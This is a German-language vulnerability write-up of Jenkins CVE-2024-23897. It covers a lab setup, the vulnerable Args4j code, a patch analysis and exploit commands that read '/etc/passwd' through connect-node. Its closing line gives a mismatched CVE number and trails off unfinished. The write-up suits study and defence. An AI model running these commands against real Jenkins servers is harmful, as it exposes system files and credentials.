
[CVE-2024-23897] Jenkins CI Authentifiziertes Lesen beliebiger Dateien über die CLI führt zu Remote Code Execution (RCE)
Jenkins ist eine eigenständige Open-Source-Software zur Automatisierung von kontinuierlicher Integration/kontinuierlicher Bereitstellung und Auslieferung (CI/CD) und ein DevOps-Tool, das in der Programmiersprache Java geschrieben ist. Es wird verwendet, um CI/CD-Workflows, sogenannte Pipelines, umzusetzen.
Jenkins verfügt über eine integrierte Befehlszeilenschnittstelle (CLI), um über eine Skript- oder Shell-Umgebung auf Jenkins zuzugreifen. Jenkins verwendet die Args4j-Bibliothek, um beim Verarbeiten von CLI-Befehlen Befehlsargumente und Optionen auf dem Jenkins-Controller zu parsen. Dieser Befehlsparser verfügt über eine Funktion, die ein @-Zeichen gefolgt von einem Dateipfad in einem Argument durch den Inhalt der Datei ersetzt (expandAtFiles). Diese Funktion ist standardmäßig aktiviert und Jenkins 2.441 and earlier, LTS 2.426.2 and earlier deaktiviert sie nicht.
Dies ermöglicht Angreifern, beliebige Dateien im Dateisystem des Jenkins-Controllers mithilfe der Standardzeichenkodierung des Jenkins-Controller-Prozesses zu lesen.
Umgebungseinrichtung
root@kali:~$ docker pull jenkins/jenkins:2.440-jdk17
root@kali:~$ docker run -d -p 9091:8080 -p 50000:50000 --name murat2-jenkins jenkins/jenkins:2.440-jdk17
root@kali:~$ docker exec -t murat2-jenkins cat /var/jenkins_home/secrets/initialAdminPassword

Verwundbarer Code
Es sei darauf hingewiesen, dass diese Schwachstelle vom Vulnerability-Research-Team von SonarSource entdeckt wurde und dieser Abschnitt vom technischen Blogbeitrag von SonarSource kopiert wurde.
Der verwundbare Code befindet sich in der Bibliothek Args4j,
private String[] expandAtFiles(String args[]) throws CmdLineException {
List < String > result = new ArrayList < String > ();
for (String arg: args) {
if (arg.startsWith("@")) {
File file = new File(arg.substring(1));
if (!file.exists()) throw new CmdLineException(this, Messages.NO_SUCH_FILE, file.getPath());
try {
result.addAll(readAllLines(file));
} catch(IOException ex) {
throw new CmdLineException(this, "Failed to parse " + file, ex);
}
} else {
result.add(arg);
}
}
return result.toArray(new String[result.size()]);
}
Die Methode expandAtFiles in der Klasse CmdLineParser.java ersetzt im Wesentlichen ein @-Zeichen, gefolgt von einem Dateipfad in einem Argument, durch den Inhalt der Datei: Sie prüft, ob das Argument mit dem @-Zeichen beginnt, und wenn ja, liest sie die Datei im Pfad nach dem @ und erweitert für jede Zeile ein neues Argument. Das bedeutet, dass ein Angreifer, der ein Argument kontrollieren kann, dieses auf eine beliebige Anzahl von Argumenten aus einer beliebigen Datei auf der Jenkins-Instanz erweitern kann.
Eine Möglichkeit, dies auszunutzen, besteht darin, einen Befehl zu finden, der eine beliebige Anzahl von Argumenten akzeptiert und diese an den Benutzer zurückgibt. Da die Argumente aus dem Inhalt der Datei befüllt werden, könnte ein Angreifer auf diese Weise den Dateiinhalt preisgeben. Für diesen Zweck ist der Befehl connect-node in hudson/cli ein guter Kandidat: Er empfängt eine Liste von Zeichenfolgen als Argument und versucht, sich mit jedem zu verbinden. Wenn dies fehlschlägt, wird eine Fehlermeldung mit dem Namen des fehlgeschlagenen verbundenen Knotens erzeugt.
public class ConnectNodeCommand extends CLICommand {
@Argument(
metaVar = "NAME",
usage = "Agent name, or empty string for built-in node; comma-separated list is supported",
required = true,
multiValued = true
)
private List < String > nodes;
//...
@Override
protected int run() throws Exception {
//...
for (String node_s: hs) {
try {
Computer computer = Computer.resolveForCLI(node_s);
computer.cliConnect(force);
} catch(Exception e) {
//...
final String errorMsg = node_s + ": " + e.getMessage();
stderr.println(errorMsg);
//...
}
}
//...
}
}
Der Befehl connect-node würde normalerweise die CONNECT-Berechtigung erfordern, die in der Funktion cliConnect überprüft wird. Da die Ausnahme jedoch vor der Berechtigungsprüfung in der Funktion resolveForCLI ausgelöst wird, erfordert der Befehl außer der anfänglichen schreibgeschützten Überprüfung keine weiteren Berechtigungen.
Ausnutzungsschritte
Normalerweise wird das @-Zeichen in Jenkins-cli verwendet, um eine Datei anzugeben, die das Bearer-Token oder username:password aus einer Datei enthält.
Die Verwendung eines authentifizierten Befehls mit Jenkins-cli erzeugt die folgende Ausgabe:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -http connect-node "@/etc/passwd"

Die Verwendung des @-Zeichens zur Angabe der Datei credentials.txt im -auth-Schalter erzeugt Folgendes:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -auth @credentials.txt -http connect-node "@/etc/passwd"

Patch-Analyse
Das Jenkins-Sicherheitsteam hat CVE-2024-23897 behoben, indem es eine sichere Konfiguration einführte, die die Funktion expandAtFiles deaktiviert. Der Patch umfasst das Hinzufügen einer Ursprungsüberprüfung zum WebSocket-Endpunkt für CVE-2024-23898, um unbefugten Zugriff zu verhindern.
Relevanter Commit: jenkinsci/jenkins@554f037

ALLOW_AT_SYNTAX: Diese Variable ist ein boolescher Wert, der angibt, ob die '@'-Syntax erlaubt ist. Sie wird aus Systemeigenschaften gelesen.ParserProperties: Diese Klasse stellt Eigenschaften zur Konfiguration des CmdLineParser bereit.withAtSyntax(ALLOW_AT_SYNTAX): Sie legt die Eigenschaft 'allowAtSyntax' in den ParserProperties basierend auf dem Wert von ALLOW_AT_SYNTAX fest.new CmdLineParser(this, properties): Dies erstellt eine neue CmdLineParser-Instanz, die das aktuelle Objekt (this) und die konfigurierten ParserProperties übergibt.Weitere Informationen zur CVE-2024-34897-Schwachstelle und Danksagungen sind wie folgt: